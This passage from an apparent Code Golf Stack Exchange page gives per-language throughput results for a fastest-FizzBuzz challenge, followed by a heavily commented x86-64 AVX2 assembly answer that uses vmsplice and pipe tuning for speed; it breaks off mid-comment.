ruby:\n| Author | Throughput |\n| --- | --- |\n| lonelyelk | 0.1 GiB/s |\n| dgutov | 1.7 GiB/s |\n# Results for asm:\n| Author | Throughput |\n| --- | --- |\n| ais523 | 60.8 GiB/s |\n| paolo | 39.0 GiB/s |\n# Results for julia:\n| Author | Throughput |\n| --- | --- |\n| marc | 0.7 GiB/s |\n| tkluck | 15.5 GiB/s |\n# Results for c:\n| Author | Throughput |\n| --- | --- |\n| random832 | 0.5 GiB/s |\n| neil | 8.4 GiB/s |\n| kamila | 8.4 GiB/s |\n| xiver77 | 20.9 GiB/s |\n| isaacg | 5.7 GiB/s |\n# Results for cpp:\n| Author | Throughput |\n| --- | --- |\n| jdt | 4.8 GiB/s |\n| tobycpp | 5.4 GiB/s |\n| david | 208.3 GiB/s |\n# Results for numba:\n| Author | Throughput |\n| --- | --- |\n| arrmansa | 0.1 GiB/s |\n# Results for numpy:\n| Author | Throughput |\n| --- | --- |\n| arrmansa | 0.3 GiB/s |\n| arrmansa-multiprocessing | 0.7 GiB/s |\n| arrmansa-multiprocessing-2 | 0.7 GiB/s |\n# Results for go:\n| Author | Throughput |\n| --- | --- |\n| Bysmyyr | 3.7 GiB/s |\n| psaikko | 6.8 GiB/s |\n# Results for php:\n| Author | Throughput |\n| --- | --- |\n| no\\_gravity | 0.5 GiB/s |\n# Results for elixir:\n| Author | Throughput |\n| --- | --- |\n| technusm1 | 0.3 GiB/s |\n# Results for csharp:\n| Author | Throughput |\n| --- | --- |\n| neon-sunset | 1.2 GiB/s |\n[![asm submissions](https://i.stack.imgur.com/f4TUB.png)](https://i.stack.imgur.com/f4TUB.png)\n[![java submissions](https://i.stack.imgur.com/qJShs.png)](https://i.stack.imgur.com/qJShs.png)\n[![pypy submissions](https://i.stack.imgur.com/m5S7a.png)](https://i.stack.imgur.com/m5S7a.png)\n[![python submissions](https://i.stack.imgur.com/JpSfN.png)](https://i.stack.imgur.com/JpSfN.png)\n[![ruby submissions](https://i.stack.imgur.com/DrdlL.png)](https://i.stack.imgur.com/DrdlL.png)\n[![rust submissions](https://i.stack.imgur.com/1lW1L.png)](https://i.stack.imgur.com/1lW1L.png)\n[![c submissions](https://i.stack.imgur.com/SPSmy.png)](https://i.stack.imgur.com/SPSmy.png)\n[![cpp submissions](https://i.stack.imgur.com/rJ2Ms.png)](https://i.stack.imgur.com/rJ2Ms.png)\n[![julia submissions](https://i.stack.imgur.com/ZNPpV.png)](https://i.stack.imgur.com/ZNPpV.png)\n[![numba submissions](https://i.stack.imgur.com/JoBxD.png)](https://i.stack.imgur.com/JoBxD.png)\n[![numpy submissions](https://i.stack.imgur.com/BV0Vn.png)](https://i.stack.imgur.com/BV0Vn.png)\n[![go submissions](https://i.stack.imgur.com/PZXTL.png)](https://i.stack.imgur.com/PZXTL.png)\n[![php submissions](https://i.stack.imgur.com/VEcXq.png)](https://i.stack.imgur.com/VEcXq.png)\n[![csharp submissions](https://i.stack.imgur.com/Og8S4.png)](https://i.stack.imgur.com/Og8S4.png)\nPlots generated using \n \n[Answer]\n# x86-64+AVX2 assembly language (Linux, `gcc`+`gas`)\n### Build and usage instructions\nThis program is most conveniently built using `gcc`. Save it as `fizzbuzz.S` (that's a capital `S` as the extension), and build using the commands\n```\ngcc -mavx2 -c fizzbuzz.S\nld -o fizzbuzz fizzbuzz.o\n```\nRun as `./fizzbuzz` piped into one command, e.g. `./fizzbuzz | pv > /dev/null` (as suggested in the question), `./fizzbuzz | cat`, or `./fizzbuzz | less`. To simplify the I/O, this will not work (producing an error on startup) if you try to output to a file/terminal/device rather than a pipe. Additionally, this program may produce incorrect output if piped into two commands (e.g. `./fizzbuzz | pv | cat > fizzbuzz.txt`), but only in the case where the middle command uses the `splice` system call; this is either a bug in Linux (very possible with system calls this obscure!) or a mistake in the documentation of the system calls in question (also possible). However, it should work correctly for the use case in the question, which is all that matters on CGCC.\nThis program is somewhat system-specific; it requires the operating system to be a non-ancient version of Linux, and the processor to be an x86-64 implementation that supports AVX2. (Most moderately recent processors by Intel and AMD have AVX2 support, including the Ryzen 9 mentioned in the question, and almost all use the x86-64 instruction set.) However, it avoids assumptions about the system it's running on beyond those mentioned in the header, so there's a decent chance that if you can run Linux, you can run this.\nThe program outputs a quintillion lines of FizzBuzz and then exits (going further runs into problems related to the sizes of registers). This would take tens of years to accomplish, so hopefully counts as \"a very high astronomical number\" (although it astonishes me that it's a small enough timespan that it might be theoretically possible to reach a number as large as a quintillion without the computer breaking).\nAs a note: this program's performance is dependent on whether it and the program it outputs to are running on sibling CPUs or not, something which will be determined arbitrarily by the kernel when you start it. If you want to compare the two possible timings, use `taskset` to force the programs onto particular CPUs:\n`taskset 1 ./fizzbuzz | taskset 2 pv > /dev/null` versus `taskset 1 ./fizzbuzz | taskset 4 pv > /dev/null`. (The former will probably run faster, but might be slower on some CPU configurations.)\n### Discussion\nI've spent months working on this program. I've long thought that \"how fast can you make a FizzBuzz\" would be a really interesting question for learning about high-performance programming, and when I subsequently saw this question posted on CGCC, I pretty much had to try.\nThis program aims for the maximum possible single-threaded performance. In terms of the FizzBuzz calculation itself, it is intended to sustain a performance of 64 bytes of FizzBuzz per 4 clock cycles (and is future-proofed where possible to be able to run faster if the relevant processor bottleneck ‚Äì L2 cache write speed ‚Äì is ever removed). This is faster than a number of standard functions. In particular, it's faster than `memcpy`, which presents interesting challenges when it comes to I/O (if you try to output using `write` then the copies in `write` will take up almost all the runtime ‚Äì replacing the I/O routine here with `write` causes the performance on my CPU to drop by a factor of 5). As such, I needed to use much more obscure system calls to keep I/O-related copies to a minimum (in particular, the generated FizzBuzz text is only sent to main memory if absolutely necessary; most of the time it's stored in the processor's L2 cache and piped into the target program from there, which is why reading it from a sibling CPU can boost performance ‚Äì the physical connection to the L2 cache is shorter and higher bandwidth than it would be to a more distant CPU).\nOn my computer (which has a fairly recent, but not particularly powerful, Intel processor), this program generates around 31GiB of FizzBuzz per second. I'll be interested to see how it does on the OP's computer.\nI did experiment with multithreaded versions of the program, but was unable to gain any speed. Experiments with simpler programs show that it could be possible, but any gains may be small; the cost of communication between CPUs is sufficiently high to negate most of the gains you could get by doing work in parallel, assuming that you only have one program reading the resulting FizzBuzz (and anything that writes to memory will be limited by the write speed of main memory, which is slower than the speed with which the FizzBuzz can be generated).\n### The program\nThis isn't [code-golf](/questions/tagged/code-golf \"show questions tagged 'code-golf'\"), so my explanation of the program and its algorithm are given as comments in the program itself. (I still had to lightly golf the program, and especially the explanation, to fit this post within the 65536 byte size limit.)\nThe program is written in a \"literate\" assembly style; it will be easiest to understand if you read it in order, from start to end. (I also added a number of otherwise useless line labels to separate the program into logical groups of instructions, in order to make the disassembly easier to read, if you're one of the people who prefers to read assembly code like that.)\n```\n.intel_syntax prefix\n// Header files.\n#include \n#include \n#include \n#define F_SETPIPE_SZ 1031 // not in asm headers, define it manually\n// The Linux system call API (limited to 4 arguments, the most this\n// program uses). 64-bit registers are unsuffixed; 32-bit have an \"e\"\n// suffix.\n#define ARG1 %rdi\n#define ARG1e %edi\n#define ARG2 %rsi\n#define ARG2e %esi\n#define ARG3 %rdx\n#define ARG3e %edx\n#define ARG4 %r10\n#define ARG4e %r10d\n#define SYSCALL_RETURN %rax\n#define SYSCALL_RETURNe %eax\n#define SYSCALL_NUMBER %eax\n// %rax, %rcx, %rdx, %ymm0-3 are general-purpose temporaries. Every\n// other register is used for just one or two defined purposes; define\n// symbolic names for them for readability. (Bear in mind that some of\n// these will be clobbered sometimes, e.g. OUTPUT_LIMIT is clobbered\n// by `syscall` because it's %r11.)\n#define OUTPUT_PTR %rbx\n#define BYTECODE_IP %rbp\n#define SPILL %rsi\n#define BYTECODE_GEN_PTR %rdi\n#define REGEN_TRIGGER %r8\n#define REGEN_TRIGGERe %r8d\n#define YMMS_AT_WIDTH %r9\n#define YMMS_AT_WIDTHe %r9d\n#define BUZZ %r10\n#define BYTECODE_NEG_LEN %r10\n#define FIZZ %r11\n#define FIZZe %r11d\n#define OUTPUT_LIMIT %r11\n#define BYTECODE_END %r12\n#define BYTECODE_START %r13\n#define BYTECODE_STARTe %r13d\n#define PIPE_SIZE %r13\n#define LINENO_WIDTH %r14\n#define LINENO_WIDTHe %r14d\n#define GROUPS_OF_15 %r15\n#define GROUPS_OF_15e %r15d\n#define LINENO_LOW %ymm4\n#define LINENO_MID %ymm5\n#define LINENO_MIDx %xmm5\n#define LINENO_TOP %ymm6\n#define LINENO_TOPx %xmm6\n#define LINENO_MID_TEMP %ymm7\n#define ENDIAN_SHUFFLE %ymm8\n#define ENDIAN_SHUFFLEx %xmm8\n#define LINENO_LOW_INCR %ymm9\n#define LINENO_LOW_INCRx %xmm9\n// The last six vector registers are used to store constants, to avoid\n// polluting the cache by loading their values from memory.\n#define LINENO_LOW_INIT %ymm10\n#define LINENO_MID_BASE %ymm11\n#define LINENO_TOP_MAX %ymm12\n#define ASCII_OFFSET %ymm13\n#define ASCII_OFFSETx %xmm13\n#define BIASCII_OFFSET %ymm14\n#define BASCII_OFFSET %ymm15\n// Global variables.\n.bss\n.align 4 << 20\n// The most important global variables are the IO buffers. There are\n// two of these, each with 2MiB of memory allocated (not all of it is\n// used, but putting them 2MiB apart allows us to simplify the page\n// table; this gives a 30% speedup because page table contention is\n// one of the main limiting factors on the performance).\nio_buffers:\n.zero 2 * (2 << 20)\n// The remaining 2MiB of memory stores everything else:\niovec_base: // I/O config buffer for vmsplice(2) system call\n.zero 16\nerror_write_buffer: // I/O data buffer for write(2) system call\n.zero 1\n.p2align 9,0\nbytecode_storage: // the rest is a buffer for storing bytecode\n.zero (2 << 20) - 512\n// The program starts here. It doesn't use the standard library (or\n// indeed any libraries), so the start point is _start, not main.\n.text\n.globl _start\n_start:\n// This is an AVX2 program, so check for AVX2 support by running an\n// AVX2 command. This is a no-op, but generates SIGILL if AVX2 isn't\n// supported.\nvpand %ymm0, %ymm0, %ymm0\n// Initialize constant registers to their constant values.\nvmovdqa LINENO_LOW_INIT, [%rip + lineno_low_init]\nvmovdqa LINENO_MID_BASE, [%rip + lineno_mid_base]\nvmovdqa LINENO_TOP_MAX, [%rip + lineno_top_max]\nvmovdqa ASCII_OFFSET, [%rip + ascii_offset]\nvmovdqa BIASCII_OFFSET, [%rip + biascii_offset]\nvmovdqa BASCII_OFFSET, [%rip + bascii_offset]\n// Initialize global variables to their initial values.\nvmovdqa ENDIAN_SHUFFLE, [%rip + endian_shuffle_init]\nvmovdqa LINENO_TOP, [%rip + lineno_top_init]\n// Check the size of the L2 cache.\n//\n// This uses the CPUID interface. To use it safely, check what range\n// of command numbers is legal; commands above the legal range have\n// undefined behaviour, commands within the range might not be\n// implemented but will return all-zeros rather than undefined values.\n// CPUID clobbers a lot of registers, including some that are normally\n// call-preserved, so this must be done first.\nmov %eax, 0x80000000 // asks which CPUID extended commands exist\ncpuid // returns the highest supported command in %eax\ncmp %eax, 0x80000006 // does 0x80000006 give defined results?\njb bad_cpuid_error\nmov %eax, 0x80000006 // asks about the L2 cache size\ncpuid // returns size in KiB in the top half of %ecx\nshr %ecx, 16\njz bad_cpuid_error // unsupported commands return all-0s\n// Calculate the desired pipe size, half the size of the L2 cache.\n// This value is chosen so that the processor can hold a pipeful of\n// data being output, plus a pipeful of data being calculated, without\n// needing to resort to slow L3 memory operations.\nshl %ecx, 10 - 1 // convert KiB to bytes, then halve\nmov PIPE_SIZE, %rcx\n// Ask the kernel to resize the pipe on standard output.\nmov ARG1e, 1\nmov ARG2e, F_SETPIPE_SZ\nmov ARG3e, %ecx\nmov SYSCALL_NUMBER, __NR_fcntl\nsyscall\ncmp SYSCALL_RETURNe, -EBADF\nje pipe_error\ncmp SYSCALL_RETURNe, -EPERM\nje pipe_perm_error\ncall exit_on_error\ncmp SYSCALL_RETURN, PIPE_SIZE\njne pipe_size_mismatch_error\n// Ask the kernel to defragment the physical memory backing the BSS\n// (read-write data) segment. This simplifies the calculations needed\n// to find physical memory addresses, something that both the kernel\n// and processor would otherwise spend a lot of time doing, and\n// speeding the program up by 30%.\nlea ARG1, [%rip + io_buffers]\nmov ARG2e, 3 * (2 << 20)\nmov ARG3e, MADV_HUGEPAGE\nmov SYSCALL_NUMBER, __NR_madvise\nsyscall\ncall exit_on_error\n// From now on, OUTPUT_PTR is permanently set to the memory location\n// where the output is being written. This starts at the start of the\n// first I/O buffer.\nlea OUTPUT_PTR, [%rip + io_buffers]\n///// First phase of output\n//\n// The FizzBuzz output is produced in three distinct phases. The first\n// phase is trivial; just a hardcoded string, that's left in the\n// output buffer, to be output at the end of the second phase.\nfirst_phase:\n.section .rodata\nfizzbuzz_intro:\n.ascii \"1\\n2\\nFizz\\n4\\nBuzz\\nFizz\\n7\\n8\\nFizz\\n\"\n.text\nvmovdqu %ymm0, [%rip + fizzbuzz_intro]\nvmovdqu [OUTPUT_PTR], %ymm0\nadd OUTPUT_PTR, 30\n///// Second phase of output\n//\n// This is a routine implementing FizzBuzz in x86-64+AVX2 assembler in\n// a fairly straightforward and efficient way. This isn't as fast as\n// the third-phase algorithm, and can't handle large numbers, but will\n// introduce some of the basic techniques this program uses.\nsecond_phase_init:\n// The outer loop of the whole program breaks the FizzBuzz output into\n// sections where all the line numbers contain the same number of\n// digits. From now on, LINENO_WIDTH tracks the number of digits in\n// the line number. This is currently 2; it ranges from 2-digit\n// numbers to 18-digit numbers, and then the program ends.\nmov LINENO_WIDTHe, 2\n// GROUPS_OF_15 is permanently set to the number of groups of 15 lines\n// that exist at this line number width; it's multiplied by 10 whenever\n// LINENO_WIDTH is incremented.\n//\n// A general note about style: often the program uses numbers that are\n// statically known to fit into 32 bits, even in a register that's\n// conceptually 64 bits wide (like this one). In such cases, the\n// 32-bit and 64-bit versions of a command will be equivalent (as the\n// 32-bit version zero-extends to 64-bits on a 64-bit processor); this\n// program generally uses the 32-bit version, both because it\n// sometimes encodes to fewer bytes (saving cache pressure), and\n// because some processors recognise zeroing idioms only if they're 32\n// bits wide.\nmov GROUPS_OF_15e, 6\n// Some constants used throughout the second phase, which permanently\n// stay in their registers. Note that short string literals can be\n// stored in normal integer registers - the processor doesn't care.\nmov FIZZ, 0x0a7a7a6946 // \"Fizz\\n\"\nmov BUZZ, 0x0a7a7a7542 // \"Buzz\\n\"\n.section .rodata\n.p2align 5, 0\nsecond_phase_constants:\n.byte 0, 0, 0, 0, 0, 0, 0, 0\n.byte 1, 0, 0, 0, 0, 0, 0, 0\n.text\nvmovdqa %xmm3, [%rip + second_phase_constants]\n// This program makes extensive use of a number format that I call\n// \"high-decimal\". This is a version of decimal where the digit 0 is\n// encoded as the byte 246, the digit 1 as the byte 247, ..., the\n// digit 9 as the byte 255. The bytes are stored in the normal\n// endianness for the processor (i.e. least significant first), and\n// padded to a known length (typically 8 digits) with leading zeroes.\n//\n// The point of high-decimal is that it allows us to use arithmetic\n// operators intended for binary on high-decimal numbers, and the\n// carries will work the same way (i.e. the same digits will carry,\n// although carries will be 0-based rather than 246-based); all that's\n// required is to identify the digits that carried and add 246 to\n// them. That means that the processor's binary ALU can be used to do\n// additions directly in decimal - there's no need for loops or\n// anything like that, and no need to do binary/decimal conversions.\n//\n// The first use for high-decimal is to store the line number during\n// the second phase (it's stored differently in the third phase).\n// It's stored it in the top half of %xmm1 (although it's only 64 bits\n// wide, it needs to be in a vector register so that it can be\n// interpreted as 8 x 8 bits when necessary; general-purpose\n// registers can't do that). The bottom half of %xmm1 is unused, and\n// frequently overwritten with arbitrary data.\n.section .rodata\nline_number_init:\n#define REP8(x) x,x,x,x,x,x,x,x\n.byte REP8(0)\n.byte 246, 247, 246, 246, 246, 246, 246, 246\n.text\nvmovdqa %xmm1, [%rip + line_number_init]\n// Writing line numbers is nontrivial because x86-64 is little-endian\n// but FizzBuzz output is big-endian; also, leading zeroes aren't\n// allowed. ENDIAN_SHUFFLE is used to fix both these problems; when\n// used to control the vector shuffler, it reverses the order of a\n// vector register, and rotates the elements to put the first digit\n// (based on LINENO_WIDTH) into the first byte. (This method is used\n// by both the second and third phases; the second phase uses only the\n// bottom half, with the top half used by the third phase, but they\n// are both initialized together.)\n.section .rodata\nendian_shuffle_init:\n.byte 9, 8, 7, 6, 5, 4, 3, 2\n.byte 1, 0, 255, 254, 253, 252, 251, 250\n.byte 3, 2, 1, 0, 255, 254, 253, 252\n.byte 251, 250, 249, 248, 247, 246, 245, 244\n.text\nsecond_phase_per_width_init:\n// The second phase writing routines are macros.\n//\n// Fizz and Buzz are trivial. (This writes a little beyond the end of\n// the string, but that's OK; the next line will overwrite them.)\n#define WRITE_FIZZ mov [OUTPUT_PTR], FIZZ; add OUTPUT_PTR, 5\n#define WRITE_BUZZ mov [OUTPUT_PTR], BUZZ; add OUTPUT_PTR, 5\n// For FizzBuzz, output 32 bits of FIZZ to write \"Fizz\" with no\n// newline, then write a \"Buzz\" after that.\n#define WRITE_FIZZBUZZ \\\n mov [OUTPUT_PTR], FIZZe; mov [OUTPUT_PTR + 4], BUZZ; \\\n add OUTPUT_PTR, 9\n// To write a line number, add 58 to each byte of the line number\n// %xmm1, fix the endianness and width with a shuffle, and write a\n// final newline.\n.section .rodata\nascii_offset:\n.byte REP8(58), REP8(58), REP8(58), REP8(58)\n.text\n#define WRITE_LINENO \\\n vpaddb %xmm0, ASCII_OFFSETx, %xmm1; \\\n vpshufb %xmm0, %xmm0, ENDIAN_SHUFFLEx; \\\n vmovdqu [OUTPUT_PTR], %xmm0; \\\n lea OUTPUT_PTR, [OUTPUT_PTR + LINENO_WIDTH + 1]; \\\n mov byte ptr [OUTPUT_PTR - 1], 10 // 10 = newline\n// Incrementing the line number is fairly easy: add 1 (in the usual\n// binary notation, taken from %xmm3) to the high-decimal number, then\n// convert any bytes that produced a carry to high-decimal 0s by\n// max-ing with 246.\n//\n// Normally I'd use a separate constant for this, but there randomly\n// happens to be an %xmm register with 246s in its top half already\n// (it's intended for an entirely different purpose, but it'll do for\n// this one too).\n#define INC_LINENO \\\n vpaddq %xmm1, %xmm3, %xmm1; vpmaxub %xmm1, LINENO_TOPx, %xmm1\n// Avoid modulus tests by unrolling the FizzBuzz by 15. (Bear in mind\n// that this starts at 10, not 0, so the pattern will have a different\n// phase than usual.)\nmov %ecx, GROUPS_OF_15e\nfifteen_second_phase_fizzbuzz_lines:\nWRITE_BUZZ; INC_LINENO\nWRITE_LINENO; INC_LINENO\nWRITE_FIZZ; INC_LINENO\nWRITE_LINENO; INC_LINENO\nWRITE_LINENO; INC_LINENO\nWRITE_FIZZBUZZ; INC_LINENO\nWRITE_LINENO; INC_LINENO\nWRITE_LINENO; INC_LINENO\nWRITE_FIZZ; INC_LINENO\nWRITE_LINENO; INC_LINENO\nWRITE_BUZZ; INC_LINENO\nWRITE_FIZZ; INC_LINENO\nWRITE_LINENO; INC_LINENO\nWRITE_LINENO; INC_LINENO\nWRITE_FIZZ; INC_LINENO\ndec %ecx\njnz fifteen_second_phase_fizzbuzz_lines\nsecond_phase_increment_width:\nlea GROUPS_OF_15e, [GROUPS_OF_15 + GROUPS_OF_15 * 4]\nadd GROUPS_OF_15e, GROUPS_OF_15e\ninc LINENO_WIDTHe\n// Increment every element of the low half of ENDIAN_SHUFFLE to\n// adjust it for the new width, while leaving the top half unchanged.\nvpcmpeqb %xmm0, %xmm0, %xmm0\nvpsubb ENDIAN_SHUFFLE, ENDIAN_SHUFFLE, %ymm0\n// The second phase handles line numbers with 2 to 5 digits.\ncmp LINENO_WIDTHe, 6\njne second_phase_per_width_init\n///// The output routine\n//\n// Most FizzBuzz routines produce output with `write` or a similar\n// system call, but these have the disadvantage that they need to copy\n// the data being output from userspace into kernelspace. It turns out\n// that when running full speed (as seen in the third phase), FizzBuzz\n// actually runs faster than `memcpy` does, so `write` and friends are\n// unusable when aiming for performance - this program runs five times\n// faster than an equivalent that uses `write`-like system calls.\n//\n// To produce output without losing speed, the program therefore needs\n// to avoid copies, or at least do them in parallel with calculating\n// the next block of output. This can be accomplished with the\n// `vmsplice` system call, which tells the kernel to place a reference\n// to a buffer into a pipe (as opposed to copying the data into the\n// pipe); the program at the other end of this pipe will then be able\n// to read the output directly out of this program's memory, with no\n// need to copy the data into kernelspace and then back into\n// userspace. In fact, it will be reading out of this program's\n// processor's L2 cache, without main memory being touched at all;\n// this is the secret to high-performance programming, because the\n// cache is much faster than main memory is.\n//\n// Of course, it's therefore important to avoid changing the output\n// buffer until the program connected to standard output has actually\n// read it all. This is why the pipe size needed to be set earlier; as\n// long as the amount of output is always at least as large as the\n// pipe size, successfully outputting one buffer will ensure that none\n// of the other buffer is left in the pipe, and thus it's safe to\n// overwrite the memory that was previously output. There is some need\n// to jump through hoops later on to make sure that `swap_buffers` is\n// never called with less than one pipeful of data, but it's worth it\n// to get the huge performance boost.\nmov %rdx, OUTPUT_PTR\nand %edx, (2 << 20) - 1\ncall swap_buffers\njmp third_phase_init\n// Takes the amount of data to output in %rdx, and outputs from the\n// buffer containing OUTPUT_PTR.\nswap_buffers:\nand OUTPUT_PTR, -(2 << 20) // rewind to the start of the buffer\nmov [%rip + iovec_base], OUTPUT_PTR\nmov [%rip + iovec_base + 8], %rdx\nmov ARG1e, 1\nlea ARG2, [%rip + iovec_base]\nmov ARG3e, 1\nxor ARG4e, ARG4e\n// As with most output commands, vmsplice can do a short write\n// sometimes, so it needs to be called in a loop in order to ensure\n// that all the output is actually sent.\n1: mov SYSCALL_NUMBER, __NR_vmsplice\nsyscall\ncall exit_on_error\nadd [ARG2], SYSCALL_RETURN\nsub [ARG2 + 8], SYSCALL_RETURN\njnz 1b\nxor OUTPUT_PTR, (2 << 20) // swap to the other buffer\nret\n///// Third phase of output\n//\n// This is the heart of this program. It aims to be able to produce a\n// sustained output rate of 64 bytes of FizzBuzz per four clock cycles\n// in its main loop (with frequent breaks to do I/O, and rare breaks\n// to do more expensive calculations).\n//\n// The third phase operates primarily using a bytecode interpreter; it\n// generates a program in \"FizzBuzz bytecode\", for which each byte of\n// bytecode generates one byte of output. The bytecode language is\n// designed so that it can be interpreted using SIMD instructions; 32\n// bytes of bytecode can be loaded from memory, interpreted, and have\n// its output stored back into memory using just four machine\n// instructions. This makes it possible to speed up the FizzBuzz\n// calculations by hardcoding some of the calculations into the\n// bytecode (this is similar to how JIT compilers can create a version\n// of the program with some variables hardcoded, and throw it away on\n// the rare occasions that those variables' values change).\nthird_phase_init:\n// Reinitialize ENDIAN_SHUFFLE by copying the initializer stored in\n// its high half to both halves. This works in the same way as in the\n// second phase.\nvpermq ENDIAN_SHUFFLE, ENDIAN_SHUFFLE, 0xEE\n// Up to this point, PIPE_SIZE has held the size of the pipe. In order\n// to save on registers, the pipe size is from now on encoded via the\n// location in which the bytecode program is stored; the bytecode is\n// started at iovec_base + PIPE_SIZE (which will be somewhere within\n// bytecode_storage), so the same register can be used to find the\n// bytecode and to remember the pipe size.\nlea %rax, [%rip + iovec_base]\nadd BYTECODE_START, %rax // BYTECODE_START is a synonym for PIPE_SIZE\n// The bytecode program always holds instructions to produce exactly\n// 600 lines of FizzBuzz. At width 6, those come to 3800 bytes long.\nlea BYTECODE_END, [BYTECODE_START + 3800]\nmov REGEN_TRIGGER, -1 // irrelevant until much later, explained there\nthird_phase_per_width_init:\n// Calculate the amount of output at this LINENO_WIDTH. The result\n// will always be divisible by 32, and thus is stored as the number of\n// 32-byte units at this width; storing it in bytes would be more\n// convenient, but sadly would overflow a 64-bit integer towards the\n// end of the program.\nlea %ecx, [LINENO_WIDTH * 8 + 47] // bytes per 15 lines\nmov YMMS_AT_WIDTH, GROUPS_OF_15\nshr YMMS_AT_WIDTH, 5 // to avoid overflow, divide by 32 first\nimul YMMS_AT_WIDTH, %rcx\n// This program aims to output 64 bytes of output per four clock\n// cycles, which it achieves via a continuous stream of 32-byte writes\n// calculated by the bytecode program. One major complication here is\n// that the 32-byte writes won't correspond to lines of FizzBuzz; a\n// single processor instruction may end up outputting multiple\n// different line numbers. So it's no longer possible to have a simple\n// line number register, like it was in the second phase.\n//\n// Instead, the program stores an *approximation* of the line number,\n// which is never allowed to differ by 100 or more from the \"actual\"\n// line number; the bytecode program is responsible for fixing up the\n// approximation to work out the correct line number to output (this\n// allows the same CPU instruction to output digits from multiple\n// different line numbers, because the bytecode is being interpreted\n// in a SIMD way and thus different parts of the bytecode can fix the\n// line number up differently within a single instruction.\n//\n// The line number is split over three processor registers:\n// - LINENO_LOW: stores the line number modulo 200\n// - LINENO_MID: stores the hundreds to billions digits\n// - LINENO_TOP: stores the ten-billions and more significant digits\n// (The parity of the 100s digit is duplicated between LINENO_MID and\n// LINENO_LOW; this allows a faster algorithm for LINENO_MID updates.)\n//\n// Because there's only a need to be within 100 of the real line\n// number, the algorithm for updating the line numbers doesn't need to\n// run all that often (saving processor cycles); it runs once every\n// 512 bytes of output, by simply adding a precalculated value\n// (LINENO_LOW_INCR) to LINENO_LOW, then processing the carry to\n// LINENO_MID (see later for LINENO_TOP). The amount by which the line\n// number increases per 512 bytes of output is not normally going to\n// be an integer; LINENO_LOW is therefore stored as a 64-bit fixpoint\n// number (in which 2**64 represents \"200\", e.g. 2**63 would be the\n// representation of \"the line number is 100 mod 200\"), in order to\n// delay the accumulation of rounding errors as long as possible. It's\n// being stored in a vector register, so there are four copies of its\n// value; two of them have 50 (i.e 2**62) added, and two of them have\n// 50 subtracted, in order to allow for more efficient code to handle\n// the carry to LINENO_MID. Additionally, LINENO_LOW is interpreted as\n// a signed number (an older version of this program was better at\n// checking for signed than unsigned overflow and I had no reason to\n// change).\n//\n// LINENO_LOW and LINENO_MID are reset every LINENO_WIDTH increase\n// (this is because the program can calculate \"past\" the width\n// increase due to not being able to break out of every instruction of\n// the main loop, which may cause unwanted carries into LINENO_MID and\n// force a reset).\n.section .rodata\nlineno_low_init:\n.byte 0, 0, 0, 0, 0, 0, 0, 192\n.byte 0, 0, 0, 0, 0, 0, 0, 64\n.byte 0, 0, 0, 0, 0, 0, 0, 192\n.byte 0, 0, 0, 0, 0, 0, 0, 64\n.text\nvmovdqa LINENO_LOW, LINENO_LOW_INIT\n// %ecx is the number of bytes in 15 lines. That means that the number\n// of 200-line units in 512 bytes is 38.4/%ecx, i.e. 384/(%ecx*10).\n// Multiply by 2**64 (i.e. 384*2**64/(%ecx*10) to get LINENO_LOW_INCR.\nlea %ecx, [%rcx + %rcx * 4]\nadd %ecx, %ecx\nmov %edx, 384\nxor %eax, %eax\ndiv %rcx // 128-bit divide, %rax = %rdx%rax / %rcx\nvpxor LINENO_LOW_INCR, LINENO_LOW_INCR, LINENO_LOW_INCR\nvpinsrq LINENO_LOW_INCRx, LINENO_LOW_INCRx, %rax, 0\nvpermq LINENO_LOW_INCR, LINENO_LOW_INCR, 0\n// LINENO_MID is almost stored in high-decimal, as four eight-digit\n// numbers. However, the number represented is the closest line number\n// that's 50 mod 100, stored as the two closest multiples of 100 (e.g.\n// if the true line number is 235, it's approximated as 250 and then\n// stored using the representations for 200 and 300), which is why\n// LINENO_LOW needs the offsets of 50 and -50 to easily do a carry. A\n// ymm vector holds four 64-bit numbers, two of which hold the value\n// that's 0 mod 200, two which hold the value that's 100 mod 200. So\n// carries on it are handled using a vector of mostly 246s, with 247s\n// in the two locations which are always odd.\n.section .rodata\nlineno_mid_base:\n.byte 246, 246, 246, 246, 246, 246, 246, 246\n.byte 247, 246, 246, 246, 246, 246, 246, 246\n.byte 246, 246, 246, 246, 246, 246, 246, 246\n.byte 247, 246, 246, 246, 246, 246, 246, 246\n.text\n// This code is some fairly complex vector manipulation to initialise\n// LINENO_MID to a power of 10 (handling the case where LINENO_WIDTH\n// is so high that the hundreds to billions digits are all zeroes).\nmov %edx, 1\nmov %eax, 11\nsub %eax, LINENO_WIDTHe\ncmovbe %eax, %edx\nshl %eax, 3\nvpxor %xmm0, %xmm0, %xmm0\nvpinsrq %xmm0, %xmm0, %rax, 0\nvpermq %ymm0, %ymm0, 0\nvpcmpeqb LINENO_MID, LINENO_MID, LINENO_MID\nvpsrlq LINENO_MID, LINENO_MID, %xmm0\nvpmaxub LINENO_MID, LINENO_MID_BASE, LINENO_MID\nvpermq %ymm0, LINENO_MID_BASE, 0x55\nvpsubb %ymm0, %ymm0, LINENO_MID_BASE\nvpaddq LINENO_MID, LINENO_MID, %ymm0\nvpmaxub LINENO_MID, LINENO_MID_BASE, LINENO_MID\n// LINENO_TOP doesn't need to be initialized for new widths, because\n// an overrun by 100 lines is possible, but by 10 billion lines isn't.\n// The format consists of two 64-bit sections that hold high-decimal\n// numbers (these are always the same as each other), and two that\n// hold constants that are used by the bytecode generator.\n.section .rodata\nlineno_top_init:\n.byte 198, 197, 196, 195, 194, 193, 192, 191\n.byte 246, 246, 246, 246, 246, 246, 246, 246\n.byte 190, 189, 188, 187, 186, 185, 184, 183\n.byte 246, 246, 246, 246, 246, 246, 246, 246\n.text\n// When moving onto a new width, start at the start of the bytecode\n// program.\nmov BYTECODE_IP, BYTECODE_START\n// Generating the bytecode program\n//\n// The bytecode format is very simple (in order to allow it to be\n// interpreted in just a couple of machine instructions):\n// - A negative byte represents a literal character (e.g. to produce\n// a literal 'F', you use the bytecode -'F', i.e. -70 = 0xba)\n// - A byte 0..7 represents the hundreds..billions digit of the line\n// number respectively, and asserts that the hundreds digit of the\n// line number is even\n// - A byte 8..15 represents the hundreds..billions digit of the line\n// number respectively, and asserts that the hundreds digit of the\n// line number is odd\n//\n// In other words, the bytecode program only ever needs to read from\n// LINENO_MID; the information stored in LINENO_LOW and LINENO_TOP\n// therefore has to be hardcoded into it. The program therefore needs\n// to be able to generate 600 lines of output (as the smallest number\n// that's divisible by 100 to be able to hardcode the two low digits,\n// 200 to be able to get the assertions about the hundreds digits\n// correct, and 3 and 5 to get the Fizzes and Buzzes in the right\n// 